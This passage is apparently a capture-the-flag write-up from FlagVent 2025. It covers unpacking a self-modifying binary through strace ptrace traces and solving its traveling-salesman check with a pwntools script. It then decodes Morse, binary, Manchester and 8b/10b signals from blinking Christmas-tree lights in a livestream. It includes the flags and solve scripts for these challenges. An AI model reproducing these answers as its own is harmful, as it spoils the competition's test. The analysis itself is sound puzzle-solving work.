         ▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀
       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
     ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
     ▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀
       ▀▀▀▀ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▀▀
            ▄▄▄▄▄▀▀ ▄▄▄▄▄▄▄▄ ▀▄▄▄▄▄▀
                    ▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄▄
                   ▄▄▄▄▄▄▄▄▄▀                   wait4(482327,


Santas Test Navigation System V-1.0

Press enter to begin...

After some normal startup, there’s a series of ptrace calls using PEEKTEXT, PEEKDATA, and POKETEXT. Peek operations read data from memory, and poke writes it. If I look at the POKE operations specifically, it’s writing data to a range of bytes starting at 0x4024b9, which is the main function that was broken.

Patch

I’ll use strace to collect all the system calls into a file with:

oxdf@hacky$ strace -o strace1.txt ./ttsp/chall
...[snip]...

I’ll hit enter when prompted and then ctrl-c when I reach the time for input. Now I’ll isolate the POKE operations:

oxdf@hacky$ cat strace1.txt | grep POKE > poke1.txt

Now I’ll write a simple Python script that makes a patched binary, writing the data that the poke operations would write.

import sys


if len(sys.argv) != 3:
    print(f"usage: {sys.argv[0]} <strace POKE file> <output>")
    sys.exit()

with open('ttsp/chall', 'rb') as f:
    chall = f.read()

with open(sys.argv[1], 'r') as f:
    lines = f.readlines()

for line in lines:
    *_, offset_s, data_s, _, _ = line.split()
    offset = int(offset_s.strip(','), 16) - 0x400000
    data = int(data_s.strip(')'), 16).to_bytes(8, 'little')
    chall = chall[:offset] + data + chall[offset + len(data):]

with open(sys.argv[2], 'wb') as f:
    f.write(chall)

This will open the original binary, loop over the poke operations, updating the data the poke would update, and then writing a modified version of the binary. It runs without issue:

oxdf@hacky$ uv run patch.py poke1.txt chall-mod

Main Function

0x40249b does some initialization, and then calls 0x401fe8:

undefined8 FUN_0040249b(void)

{
  FUN_00406ab0(&DAT_00419300,0,2,0);
  FUN_00406ab0(&DAT_00419200,0,2,0);
  FUN_00406ab0(&DAT_00419100,0,2,0);
  FUN_00401fe8();
  return 0;
}

0x401fe8 is the main functionality. It starts by printing the intro message and waiting for a single key. Then it seeds the random number generator with the current time xored with the pid of the current process, and uses that to shuffle the locations:

  time = time(0);
  pid = getpid();
  srand(pid ^ time);
  alarm(0x1e);
  locations = (undefined8 *)calloc(0x1b,0x10);
  for (init_idx = 0; (int)init_idx < 0x1b; init_idx = init_idx + 1) {
    shuffled_indices[(int)init_idx] = init_idx;
  }
  uStack_64 = 0;
  for (shuffle_idx = 0x1a; 1 < shuffle_idx; shuffle_idx = shuffle_idx + -1) {
    rand_int = rand();
    rand_idx = rand_int % shuffle_idx + 1;
    swap_temp = shuffled_indices[shuffle_idx];
    shuffled_indices[shuffle_idx] = shuffled_indices[rand_idx];
    shuffled_indices[rand_idx] = swap_temp;
  }

It always prints the North pole first, then the rest of the list:

  puts("Locations: ");
  puts("North pole: (90.0, 0.0)");
  for (print_idx = 1; print_idx < 0x1b; print_idx = print_idx + 1) {
    puVar1 = locations + (long)print_idx * 2;
    uVar3 = generate_random_coords();
    *puVar1 = uVar3;
    puVar1[1] = param_2;
    param_2 = locations[(long)print_idx * 2 + 1];
    printf(locations[(long)print_idx * 2],"%s: (%.6f, %.6f)\n",
           (&PTR_s_North_pole_00419020)[shuffled_indices[print_idx]]);
  }

Then it loops over 0x1b (27) times reading in results:

  puts("Enter tour: ");
  for (input_idx = 0; input_idx < 0x1b; input_idx = input_idx + 1) {
    printf(&%u,input_idx);
    user_distances[input_idx] = 0xbff0000000000000;
    scanf(" %99[^:]:%lf%*[^\n]",user_location_names + (long)input_idx * 100,
          user_distances + input_idx);
  }

This shows the format of the data being read in is:

  • Leading space - skip any whitespace (including leftover newlines)
  • %99[^:] - Read up to 99 chars that are NOT a colon → user_location_names
  • : - Match literal colon (delimiter)
  • %lf - Read a double (long float) → user_distances
  • %*[^\n] everything until newline (consume rest of line)

So the expected input should look like:

  North pole:0.0
  Paris:1234.567890
  Tokyo:5678.123456

Then there’s a function compute_optimal_tour which takes the locations (not the user input). Then it initializes some variables and enters a loop:

  optimal_tour = compute_optimal_tour(locations);
  cumulative_dist = 0.0;
  is_valid = '\x01';
  verify_idx = 0;
  do {
    if (0x1a < verify_idx) {
      if (is_valid != '\x01') {
        puts("Haha... No.");
        exit(1);
      }
      puts(
          "Great, now you\'re ready for the real tour!\n\n(Start a instance to access the big tour w hich will give the flag)\n"
          );
      exit(0);
                    /* WARNING: Bad instruction - Truncating control flow here */
      halt_baddata();
    }
    rand_int = strncmp(user_location_names + (long)verify_idx * 100,
                       (&PTR_s_North_pole_00419020)
                       [shuffled_indices[*(uint *)(optimal_tour + (long)verify_idx * 4)]],99);
    if (rand_int == 0) {
      cVar2 = check_distance(user_distances[verify_idx],cumulative_dist);
      if (cVar2 != '\x01') goto LAB_004023bb;
    }
    else {
LAB_004023bb:
      is_valid = '\0';
    }
    dVar4 = (double)calc_distance(locations[(ulong)*(uint *)(optimal_tour + (long)verify_idx * 4) *
                                            2],
                                  (locations +
                                  (ulong)*(uint *)(optimal_tour + (long)verify_idx * 4) * 2)[1],
                                  locations[(ulong)*(uint *)(optimal_tour +
                                                            ((long)verify_idx + 1) * 4) * 2],
                                  (locations +
                                  (ulong)*(uint *)(optimal_tour + ((long)verify_idx + 1) * 4) * 2)
                                  [1]);
    cumulative_dist = dVar4 + cumulative_dist;
    verify_idx = verify_idx + 1;
  } while( true );

The thing I send each time is the next city and the total distance so far. I need to understand how distance is calculated, but there are still some functions that are not unpacked, specifically compute_optimal_tour, check_distance, and calc_distance.

Patch Again

Now that I understand the format of the input, I can run further into the program. To get to the functions that need unpacking, I’ll have to enter 27 valid strings. I’ll use a simple loop:

oxdf@hacky$ python3 -c $'print()\nfor i in range(27): print("North Pole: 0.0")' | strace -o strace2.txt ./ttsp/chall
oxdf@hacky$ grep POKE strace2.txt > poke2.txt 

I’ll repatch:

oxdf@hacky$ uv run patch.py poke2.txt chall-mod2

Calc Distance

The new code shows the calc_distance function deobfuscated:

double calc_distance(double lat1,double lon1,double lat2,double lon2)

{
  undefined8 uVar1;
  undefined8 uVar2;
  double dVar3;
  double sin2_dlat;
  undefined8 uVar4;
  double sin2_dlon;
  double dVar5;
  
  uVar1 = deg_to_rad(lat1);
  uVar2 = deg_to_rad(lat2);
  dVar3 = (double)deg_to_rad(lat2 - lat1);
  sin2_dlat = (double)deg_to_rad(lon2 - lon1);
  uVar4 = sin(dVar3 / 2.0);
  dVar3 = (double)square(uVar4);
  sin2_dlon = (double)cos(uVar1);
  dVar5 = (double)cos(uVar2);
  uVar1 = sin(sin2_dlat / 2.0);
  sin2_dlat = (double)square(uVar1);
  uVar1 = sqrt(sin2_dlat * dVar5 * sin2_dlon + dVar3);
  dVar3 = (double)asin(uVar1);
  return dVar3 * 12742.0;
}

It’s not that complex, but AI will simply tell me what it is:

image-20251221142556739 expand

Solve Script

The solve script will break down into X parts:

  1. Collect and parse locations.
  2. Solve traveling salesman problem
  3. Calculate distance at each stop
  4. Sends path + distances

I’ll write a main function that handles this organization, and handles this:

def main():
    if '--remote' in sys.argv:
        idx = sys.argv.index('--remote')
        host = sys.argv[idx + 1] if idx + 1 < len(sys.argv) else None
        if not host:
            print("Usage: solve_final.py --remote <host>")
            sys.exit(1)
        p = remote(host, 31337, ssl=True)
    else:
        p = process('./ttsp/chall')

    p.recvuntil(b"Press enter to begin...")
    p.sendline(b"")

    data = p.recvuntil(b"Enter tour:").decode()
    locs = parse_locations(data)
    print(f"[*] {len(locs)} locations")

    tour = solve_mst_dfs(locs)

    # Calculate cumulative distances and send
    cumulative = 0.0
    for i, idx in enumerate(tour):
        name = locs[idx][0]
        p.recvuntil(f"{i}:".encode())
        p.sendline(f"{name}:{cumulative}".encode())
        if i < len(tour) - 1:
            next_idx = tour[i + 1]
            cumulative += haversine(locs[idx][1], locs[idx][2], locs[next_idx][1], locs[next_idx][2])

    print(f"[*] Total distance: {cumulative:.2f} km")

    response = re.sub(rb'\x1b\[[0-9;]*m', b'', p.recvall(timeout=10)).decode()
    print(response)
    p.close()

It sets up the local or remote connection, gets the locations to process, calls the function to calculate the location order, sends back the results, and prints the flag.

parse_locations just uses regex to get each location name, lat, and long:

def parse_locations(output):
    locations = []
    for m in re.finditer(r'([A-Za-z][^:]+):\s*\(([^,]+),\s*([^)]+)\)', output):
        locations.append((m.group(1).strip(), float(m.group(2)), float(m.group(3))))
    return locations

haversine calculates that distance:

def haversine(lat1, lon1, lat2, lon2):
    R = 6371.0
    lat1, lon1, lat2, lon2 = map(math.radians, [lat1, lon1, lat2, lon2])
    dlat, dlon = lat2 - lat1, lon2 - lon1
    a = math.sin(dlat/2)**2 + math.cos(lat1) * math.cos(lat2) * math.sin(dlon/2)**2
    return 2 * R * math.asin(math.sqrt(a))

Traveling Salesman

The only complex part is solving the traveling salesman problem. I’ll use Kruskal’s algorithm to solve:

def to_float32(d):
    """Convert to float32 - matches binary's (uint)(float) cast."""
    return struct.unpack('f', struct.pack('f', d))[0]

class UnionFind:
    def __init__(self, n):
        self.parent = list(range(n))
    def find(self, x):
        if self.parent[x] != x:
            self.parent[x] = self.find(self.parent[x])
        return self.parent[x]
    def union(self, x, y):
        px, py = self.find(x), self.find(y)
        if px != py:
            self.parent[py] = px
            return True
        return False

def solve_mst_dfs(locs):
    """Build MST using Kruskal with float32 distances, stack-based DFS"""
    n = len(locs)
    edges = []
    for i in range(n):
        for j in range(i+1, n):
            d = haversine(locs[i][1], locs[i][2], locs[j][1], locs[j][2])
            d_f32 = to_float32(d)
            edges.append((d_f32, i, j))
    edges.sort()

    uf = UnionFind(n)
    adj = [[False] * n for _ in range(n)]
    for d, u, v in edges:
        if uf.union(u, v):
            adj[u][v] = True
            adj[v][u] = True

    visited = [False] * n
    tour = []
    stack = [0]
    while stack:
        node = stack.pop()
        if visited[node]:
            continue
        visited[node] = True
        tour.append(node)
        for neighbor in range(n):
            if adj[node][neighbor] and not visited[neighbor]:
                stack.append(neighbor)
    return tour

Run

The resulting script works on both local:

oxdf@hacky$ uv run solve_final.py 
[*] 27 locations
[*] Total distance: 117890.81 km
 Great, now you're ready for the real tour!

(Start a instance to access the big tour which will give the flag)

And remote:

oxdf@hacky$ uv run solve_final.py --remote 9f3efbe4-87c9-4e92-a51e-9ad48f163dd7.challs.flagvent.org
[*] 131 locations
[*] Total distance: 228688.23 km
 Good job! Here is your flag:
FV25{the-traveling-santa-problem}

Flag: FV25{the-traveling-santa-problem}

FV25.16

Challenge

FV25.16 - Air gapped Christmas

Since the first attempt at offline password storage was broken by some tricky people the new password has been stored in an air gapped network server.

Unfortunately Jinx the elf has stolen the server and used it to power his christmas tree stream.

Can you use this situation to your advantage?

https://www.youtube.com/watch?v=_GjJY-WsOb4

Categories: funFUN
Level: hard
Author: Last Place

The challenge includes only a link to a live stream on YouTube. Because the stream is well over 12 hours, it isn’t retained, but the author uploaded a 20 minute segment loaded up on the same channel:

This is truly a live stream that started when this challenge released and ran through the end of the competition. The challenge author would visit from time to time to add clues, update the whiteboard.

This was early in the competition:

image-20251217063146468

The white clock signal was added to the top of the team four hours into the stream. Later, a clue about a minimum time to solve was added to the whiteboard:

image-20251217063254858

I caught this snapshot after he added my name to the board:

Capture Signals

Enumeration

The lights on the tree are changing on and off about 4 times a second. The white (or yellow) light at the very top is like a clock. It alternates on and off every ~0.25 second. There are four colors, red, green, blue, and purple. All of the lights of the same color are on or off together.

I’ll download a copy of the 20 minute video using a YouTube downloader (be careful, many are full of malware). Throughout this challenge, I’ll use KDenLive video editing software to load the video and step through frame by frame. At first I manually recorded the bits at each transition, but once the hint was added that the minimum solve time was five minutes (which implies at least that much time is needed to get the full signal), I changed to a Python script.

I had Claude write the script to pull all the data, but I find it is much more useful if I gave it the pixel locations to check. I’ll use Gimp on an extracted frame to get the pixel offsets

image-20251228082131075

I used the following targets:

  • White (812, 110)
  • Red (810, 141)
  • Green (851, 305)
  • Blue (836, 411)
  • Purple (866, 415)

Which looks like:

Python

I’ll use the OpenCV library to process the video. I’ll start by defining some values and a get_brightness function:

#!/usr/bin/env python3
# /// script
# requires-python = ">=3.11"
# dependencies = [
#     "opencv-python",
# ]
# ///
"""
Fast extraction - reads frames sequentially without seeking.
"""
import cv2
import time

VIDEO_PATH = "./FV25-16-Air-gapped-Christmas-Sample-2_Media_CWnG5pSBnZo_001_1080p.mp4"
OUTPUT_PATH = "./bitstream_final2.txt"

LIGHTS = {
    'white': (812, 110),
    'red': (810, 141),
    'blue': (836, 411),
    'green': (851, 305),
    'purple': (866, 415),
}

THRESHOLDS = {
    'red': 210,
    'blue': 230,
    'green': 200,
    'purple': 220,
}

SAMPLE_OFFSET = 5
CLOCK_ON_THRESH = 240
CLOCK_OFF_THRESH = 225

def get_brightness(hsv_frame, x, y, radius=6):
    y1, y2 = max(0, y-radius), min(hsv_frame.shape[0], y+radius)
    x1, x2 = max(0, x-radius), min(hsv_frame.shape[1], x+radius)
    region = hsv_frame[y1:y2, x1:x2, 2]
    return int(region.max()) if region.size > 0 else 0

These thresholds took a lot of trial and error to arrive at.

I’ll load the video:

start_time = time.time()

cap = cv2.VideoCapture(VIDEO_PATH)
total_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
print(f"Total frames: {total_frames}")

frame_buffer = {}
results = []
prev_clock = None
pending_samples = []

Now I loop through the frames:

frame_idx = 0
while True:
    ret, frame = cap.read()
    if not ret:
        break

    hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)

    brightness = {color: get_brightness(hsv, x, y) for color, (x, y) in LIGHTS.items()}

    if prev_clock is None: # only on first frame
        clock_state = 1 if brightness['white'] > CLOCK_ON_THRESH else 0
        initial_states = {
            'white': clock_state,
            'red': 1 if brightness['red'] > THRESHOLDS['red'] else 0,
            'blue': 1 if brightness['blue'] > THRESHOLDS['blue'] else 0,
            'green': 1 if brightness['green'] > THRESHOLDS['green'] else 0,
            'purple': 1 if brightness['purple'] > THRESHOLDS['purple'] else 0,
        }
        results.append((0, initial_states, brightness))
    else:
        if prev_clock:
            clock_state = 1 if brightness['white'] > CLOCK_OFF_THRESH else 0
        else:
            clock_state = 1 if brightness['white'] > CLOCK_ON_THRESH else 0

        if clock_state != prev_clock:
            pending_samples.append((frame_idx + SAMPLE_OFFSET, clock_state))

    for sample_frame, clock_state in pending_samples[:]:
        if frame_idx == sample_frame:
            states = {
                'white': clock_state,
                'red': 1 if brightness['red'] > THRESHOLDS['red'] else 0,
                'blue': 1 if brightness['blue'] > THRESHOLDS['blue'] else 0,
                'green': 1 if brightness['green'] > THRESHOLDS['green'] else 0,
                'purple': 1 if brightness['purple'] > THRESHOLDS['purple'] else 0,
            }
            results.append((sample_frame - SAMPLE_OFFSET, states, brightness))
            pending_samples.remove((sample_frame, clock_state))

    prev_clock = clock_state
    frame_idx += 1

    if frame_idx % 5000 == 0:
        elapsed = time.time() - start_time
        pct = frame_idx / total_frames * 100
        eta = (elapsed / frame_idx) * (total_frames - frame_idx)
        print(f"\r  {frame_idx}/{total_frames} ({pct:.1f}%) - ETA: {eta:.0f}s", end='')

For each frame, I get the brightness of each color. If it’s the first frame, I record it. Otherwise, I check if the clock state changed. If it did, I record the clock state and a frame ID that’s five frames later. I found that sometimes the clock changes before the other lights, so it was helpful to look a bit forward.

Now if there are any pending samples, I check if they are for the current time, and if so, I process them.

Finally I update the previous clock state, increment the frame index, and output some status lines.

Once the loop exits, I’ll release the video, save the results, and print some stats / initial results for spot checking:

cap.release()

elapsed = time.time() - start_time
print(f"\rDone! Processed {frame_idx} frames in {elapsed:.1f}s" + " " * 20)
print(f"Total samples: {len(results)}")

# Save results
with open(OUTPUT_PATH, 'w') as f:
    f.write("# Bitstream - Final extraction\n")
    f.write(f"# Total samples: {len(results)}\n\n")

    for frame, states, brightness in results:
        ts = frame / 30.0
        f.write(f"{ts:10.3f}s  {frame:6d}  W:{states['white']} R:{states['red']} B:{states['blue']} G:{states['green']} P:{states['purple']}\n")

print(f"Results saved to {OUTPUT_PATH}")

# Print bit patterns
print()
print("="*70)
print("BIT PATTERNS (first 32 bits):")
for color in ['white', 'red', 'blue', 'green', 'purple']:
    bits = ''.join([str(states[color]) for _, states, _ in results])
    print(f"\n{color.upper():6s}: {bits[:32]}")
    print(f"        Length: {len(bits)} bits")

It takes about a minute to process the full 20 minute video:

oxdf@hacky$ uv run extract.py 
Total frames: 36004
Done! Processed 36004 frames in 60.5s                    
Total samples: 4702
Results saved to ./bitstream_final2.txt

======================================================================
BIT PATTERNS (first 32 bits):

WHITE : 10101010101010101010101010101010
        Length: 4702 bits

RED   : 10111011100000000000111000010101
        Length: 4702 bits

BLUE  : 01010100101011010101010101001010
        Length: 4702 bits

GREEN : 00110010100100000011000010111001
        Length: 4702 bits

PURPLE: 01100111010001100100110101100101
        Length: 4702 bits

Extract Pre-Flags

Each color has a different signal in it, producing it’s own “flag”.

Red

The red bits showed a lot of patterns where the light was one for 1 or 3 clock cycles. Seeing short and long constant length pulses like this is typical for morse code. I’ll write a simple Python script that will try to decode this:

MORSE = {
    '.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D', '.': 'E',
    '..-.': 'F', '--.': 'G', '....': 'H', '..': 'I', '.---': 'J',
    '-.-': 'K', '.-..': 'L', '--': 'M', '-.': 'N', '---': 'O',
    '.--.': 'P', '--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T',
    '..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X', '-.--': 'Y',
    '--..': 'Z', '-----': '0', '.----': '1', '..---': '2',
    '...--': '3', '....-': '4', '.....': '5', '-....': '6',
    '--...': '7', '---..': '8', '----.': '9', '-....-': '-',
}

with open("./bitstream_final.txt") as f:
    lines = f.readlines()

red_bits = []
for line in lines:
    if line.startswith('#') or not line.strip():
        continue
    red = int(line.split(':')[2].split()[0])
    red_bits.append(red)

morse_out = []
text_out = []
current_letter = ""
i = 0
while i < len(red_bits):
    if red_bits[i] == 1:
        count = 0
        while i < len(red_bits) and red_bits[i] == 1:
            count += 1
            i += 1
        if count == 1:
            morse_out.append('.')
            current_letter += '.'
        elif count == 3:
            morse_out.append('-')
            current_letter += '-'
        else:
            morse_out.append(f'?{count}')
            current_letter += f'?{count}'
    else:
        count = 0
        while i < len(red_bits) and red_bits[i] == 0:
            count += 1
            i += 1
        if count >= 2:
            if current_letter:
                text_out.append(MORSE.get(current_letter, f'[{current_letter}]'))
                current_letter = ""
            if count >= 7:
                morse_out.append('   ')
                text_out.append(' ')
            else:
                morse_out.append(' ')

if current_letter:
    text_out.append(MORSE.get(current_letter, f'[{current_letter}]'))

print("MORSE:")
print(''.join(morse_out))
print()
print("TEXT:")
print(''.join(text_out))

The result is a bit messy:

oxdf@hacky$ uv run red.py 
MORSE:
.--   - .... .   ..-. ..- -.   -.-- .--- ..-   .-. . ?14 ..?4 . ... - . -..   -....- -....-   ..-. ...- ..--- .....   -. ?7- - - .... . .-- .... --- .-.. . ..-. .-.. .- --. .. ... ...- . .-. .   ?31.   .... --- .--. .   -.-- --- .?5   . -. .--- ?12 -.--.   ?8... -..   ..-. ?2.- -.   ?4.?7. ?7- ..-   .-. . --.- ..- . ... - . -..   -....- -....-   ..-. ?14.?7- .....   -. --- ?4 - ?9?2. .?7 .... -?7 .-.. . ..-. .-.. .?10-.?13. ...?6 .-?6   ?31.   .... --- .--..-   .-.-- -?7 ..-   . -. .?7- --- ?6--?5 - ?7 .   ..-. ..- -.   -.--?2--- ...-   .-. . --.- ..?4-. -. - .. -..   -....- -.-.-   .?7 ...?5?4--- .-..   -. --- - ?8... . .-?5 .... ---.?6.. . ..-- .?17 ?4-. .. ?2.. .... . ?5. .   ?31. ?8..?2 -?7 .--. .   -.-- --- ..-   . -. .--- --- ?15   ?11.. .   ..-. ...- .-.   -.-- -?9?2.-   .-. . ?9- ..- . ... ?4 . -.-   -....- -....-   ..-. ...- ..--- .....   -. --- - - .... . .-- .... .--- .-.. . ..-. ?6.. ?5 -?5 .. ?4. .... .. .-. ... ?31.   .... --- .--. .   -.-- --- ..-   . -. .--- ?4-- -.?7 ?2   ?6.... . .   ..-. ...- -.   -.-- --- ..-   .?5 . --?5 ..- . ... - . -..   -....- -.-.?4   ..-. ...?5 ..--?5 .....   -. ?7- - - .... . .-- .... -?7 .?5. . ..?5 .-.. .?5 ?14. ....?4- ?2 .-. .   ?31.   ..... --- .--. .   -.-- --- ..-   . -. .--- --- -.-- .?9 .... .   ..-. ..- -.   -.-- --- ..-   .-. ?10-.- ..- . ... - . -..   -....- -....-   ..-. ...- ..--- .....   -. --- - - .... . .-- .... --- .-.. . ..-. .-.. .- --. .. ... .... . .-. .   ?31.   .... --- .--. . .   -.-- --- ..-   . -. .--- --- -.--   - .... .   ..-. ..- -.   -?5- --- ...-   ?5. . --.- ..- . ... - . -

TEXT:
W THE FUN YJU RE[?14][..?4]ESTED -- FV25 N[?7-]TTHEWHOLEFLAGISVERE [?31.] HOPE YO[.?5] ENJ[?12][-.--.] [?8...]D F[?2.-]N [?4.?7.][?7-]U REQUESTED -- F[?14.?7-]5 NO[?4]T[?9?2.][.?7]H[-?7]LEFL[.?10-.?13.][...?6][.-?6] [?31.] HO[.--..-] [.-.--][-?7]U EN[.?7-]O[?6--?5]T[?7]E FUN [-.--?2---]V REQ[..?4-.]NTID -[-.-.-] [.?7][...?5?4---]L NOT[?8...]E[.-?5]H[---.?6..]E[..--][.?17][?4-.]I[?2..]HE[?5.]E [?31.][?8..?2][-?7]PE YOU ENJO[?15] [?11..]E FVR Y[-?9?2.-] RE[?9-]UES[?4]EK -- FV25 NOTTHEWHJLEF[?6..][?5][-?5]I[?4.]HIRS[?31.] HOPE YOU ENJ[?4--][-.?7][?2] [?6....]EE FVN YOU [.?5]E[--?5]UESTED -[-.-.?4] F[...?5][..--?5]5 N[?7-]TTHEWH[-?7][.?5.]E[..?5]L[.?5][?14.][....?4-][?2]RE [?31.] 5OPE YOU ENJOY[.?9]HE FUN YOU R[?10-.-]UESTED -- FV25 NOTTHEWHOLEFLAGISHERE [?31.] HOPEE YOU ENJOY THE FUN [-?5-]OV [?5.]EQUESTET

There are many runs of too many 1s to be legit morse (shown as ? and a number). These are probably errors in my bitstream. I do see at the bottom this:

FV25 NOTTHEWHOLEFLAGISHERE [?31.] HOPEE YOU ENJOY THE FUN

A bit of a guess (especially after seeing the other pre-flags), I’ll take from the red FV25{NOTTHEWHOLEFLAGISHERE}.

Green

The green signal is just binary data using the extracted bits.

with open("./bitstream_final.txt") as f:
    lines = f.readlines()

bits = ''
for line in lines:
    if line.startswith('#') or not line.strip():
        continue
    green = int(line.split(':')[4].split()[0])
    bits += str(green)

for offset in range(8):
    output = ''.join(chr(int(bits[i:i+8], 2)) for i in range(offset, len(bits), 8))
    if 'FV' in output:
        print(''.join(c if c.isprintable() else '?' for c in output))

This can get messy, but there’s clearly a message in there:

image-20251228093916004

The message is:

I hope you enjoy the ‘fun’ you requested – FV25{There are more 2 find}

So this part of the flag is FV25{There are more 2 find}.

Blue

Blue is using a Manchester Encoding, which measures 1s and 0s as low-high or high-low. This has the advantage of effectively having a built-in clock signal.

I’ll run two passes over the data. First, looking for the Manchester decode to get a new series of bits, and then turning those bits into bytes and looking for ASCII strings. For the Manchester decode, I could start at 0 or 1, and then for the bits to bytes it could start at any of bit 0-7.

The code looks like:

with open("./bitstream_final.txt") as f:
    lines = f.readlines()

bits = ''
for line in lines:
    if line.startswith('#') or not line.strip():
        continue
    blue = int(line.split(':')[3].split()[0])
    bits += str(blue)

def manchester_decode(bits, offset=0):
    decoded = ''
    for i in range(offset, len(bits)-1, 2):
        decoded += '1' if bits[i] == bits[i+1] else '0'
    return decoded

def decode_text(decoded, bit_offset):
    text = ''.join(chr(int(decoded[i:i+8], 2)) if len(decoded[i:i+8]) == 8 else ''
                   for i in range(bit_offset, len(decoded), 8))
    return ''.join(c if 32 <= ord(c) < 127 else '?' for c in text)

for offset in range(2):
    print(f"=== Offset {offset}")
    decoded = manchester_decode(bits, offset)
    for bit_offset in range(8):
        text = decode_text(decoded, bit_offset)
        if 'FV25' in text or 'fun' in text.lower() or 'hope' in text.lower():
            print(f"  bit_offset {bit_offset}: {text}")

Running it dumps a few things that look like the flag:

oxdf@hacky$ uv run blue.py
=== Offset 0
  bit_offset 0: ????&R???f??B???b?gV????$??????-?????M?$???????????-???L?.??n?????????F?f$???L??F??-????.?????/??H????h?[?H?[???H???H???[???[?H??\]Y\??Y??KH????^?H?[??H????[????]???[?_???47?2?<???2?57??*42???:???<?:??2????z2?????#+?????&??2???34?2?40??3;?>??? hope you enjoy the 'fun' you reque3ted -- FV25{1 
  bit_offset 1: $???L??????????&?????/??H????H?[?H?_???H???H???[???[?H??\]Y\??Y(?KH????^?H?[??H????[????]???[?_???4'?:?<???2?57??:42???:???<???92?????2?????#+?????&??2???34?2?40??3:?~??? hope you enjoy The 'fun' yju ~equer?e? --(FV25?1 More 2 find hav fwn}???@????@???@?????@???@N???N@???@?????f???@ZZ@??dj?b@
  bit_offset 2: H?[??H?????????M???[?_???07?2?<???2?57??:42???:???<???92?????2?P???#??????&??2???34?2?40??;:?4??? hOpu?you enjoy the 'fun' you requested -- FV25{1 More 2 find hav fun????@????@???@?????@???@N???N@???@?????????@ZZP??dj?b@????@d@????@???@??????$????????????????????????????????????????????X?????
  bit_offset 3: ?&??2???37?2?40??3:?<??? `oxe you e~joy the 'fun' you requested?-- F~25{1 More 20find hat,vuni???@????@???@?????@???@N???N@???@?????????@ZZ@??dj?b@????@d@????@???@??????$????????????????Q???????????????????????????X?????5?????????????????????I?C{?)??{??+sS{???C)?;3?q9??{???+??)??+!?ii?2??????
  bit_offset 4:  More > fond ha6 funy???@????@???@?????@???@N???N@???@?????????@ZZ@??dj?b@????@d`????@???X??????$??=?????????????????????????????????????????X?????5?????????????????????I?C{?)??{??+sS{???C)?;3?q9??S???+??+??/!?iiB2??????k{?)???3Ks!?C???3?s????????R???R?V?????F?R?vgV?r???R?&W?VS7FVB????ec#W???
=== Offset 1

Piecing together the message around the bit errors, I see: hope you enjoy the 'fun' you reque3ted -- FV25{1 More 2 find hav fun}.

Purple

The purple signal is 8b/10b encoded. I’ll need to use a translation table from the article, which results in this:

with open("./bitstream_final.txt") as f:
    lines = f.readlines()

bits = ''
for line in lines:
    if line.startswith('#') or not line.strip():
        continue
    purple = int(line.split(':')[5])
    bits += str(purple)

# 8b/10b lookup tables
DECODE_5B6B = {}
ENCODE_5B6B_RDN = {
    0: 0b100111, 1: 0b011101, 2: 0b101101, 3: 0b110001,
    4: 0b110101, 5: 0b101001, 6: 0b011001, 7: 0b111000,
    8: 0b111001, 9: 0b100101, 10: 0b010101, 11: 0b110100,
    12: 0b001101, 13: 0b101100, 14: 0b011100, 15: 0b010111,
    16: 0b011011, 17: 0b100011, 18: 0b010011, 19: 0b110010,
    20: 0b001011, 21: 0b101010, 22: 0b011010, 23: 0b111010,
    24: 0b110011, 25: 0b100110, 26: 0b010110, 27: 0b110110,
    28: 0b001110, 29: 0b101110, 30: 0b011110, 31: 0b101011,
}
ENCODE_5B6B_RDP = {
    0: 0b011000, 1: 0b100010, 2: 0b010010, 3: 0b110001,
    4: 0b001010, 5: 0b101001, 6: 0b011001, 7: 0b000111,
    8: 0b000110, 9: 0b100101, 10: 0b010101, 11: 0b110100,
    12: 0b001101, 13: 0b101100, 14: 0b011100, 15: 0b101000,
    16: 0b100100, 17: 0b100011, 18: 0b010011, 19: 0b110010,
    20: 0b001011, 21: 0b101010, 22: 0b011010, 23: 0b000101,
    24: 0b001100, 25: 0b100110, 26: 0b010110, 27: 0b001001,
    28: 0b001110, 29: 0b010001, 30: 0b100001, 31: 0b010100,
}
for val, code in ENCODE_5B6B_RDN.items():
    DECODE_5B6B[code] = val
for val, code in ENCODE_5B6B_RDP.items():
    DECODE_5B6B[code] = val

DECODE_3B4B = {}
ENCODE_3B4B_RDN = {0: 0b1011, 1: 0b1001, 2: 0b0101, 3: 0b1100, 4: 0b1101, 5: 0b1010, 6: 0b0110, 7: 0b1110}
ENCODE_3B4B_RDP = {0: 0b0100, 1: 0b1001, 2: 0b0101, 3: 0b0011, 4: 0b0010, 5: 0b1010, 6: 0b0110, 7: 0b0001}
for val, code in ENCODE_3B4B_RDN.items():
    DECODE_3B4B[code] = val
for val, code in ENCODE_3B4B_RDP.items():
    DECODE_3B4B[code] = val
DECODE_3B4B[0b0111] = 7
DECODE_3B4B[0b1000] = 7

def decode_8b10b(bits_10):
    if len(bits_10) != 10:
        return None
    six_bit = int(bits_10[:6], 2)
    four_bit = int(bits_10[6:], 2)
    if six_bit in DECODE_5B6B and four_bit in DECODE_3B4B:
        return (DECODE_3B4B[four_bit] << 5) | DECODE_5B6B[six_bit]
    return None

def decode_stream(bits, offset):
    decoded = []
    for i in range(offset, len(bits) - 9, 10):
        val = decode_8b10b(bits[i:i+10])
        decoded.append(val if val is not None else 0)
    return decoded

for offset in range(10):
    decoded = decode_stream(bits, offset)
    text = ''.join(chr(b) if 32 <= b < 127 else f'[\\x{b:02x}]' for b in decoded)
    if 'FV25' in text or 'fun' in text.lower() or 'hope' in text.lower():
        print(f"=== Offset {offset} ===")
        print(f"  {text}")

This shows only one bit offset that results in values of interest:

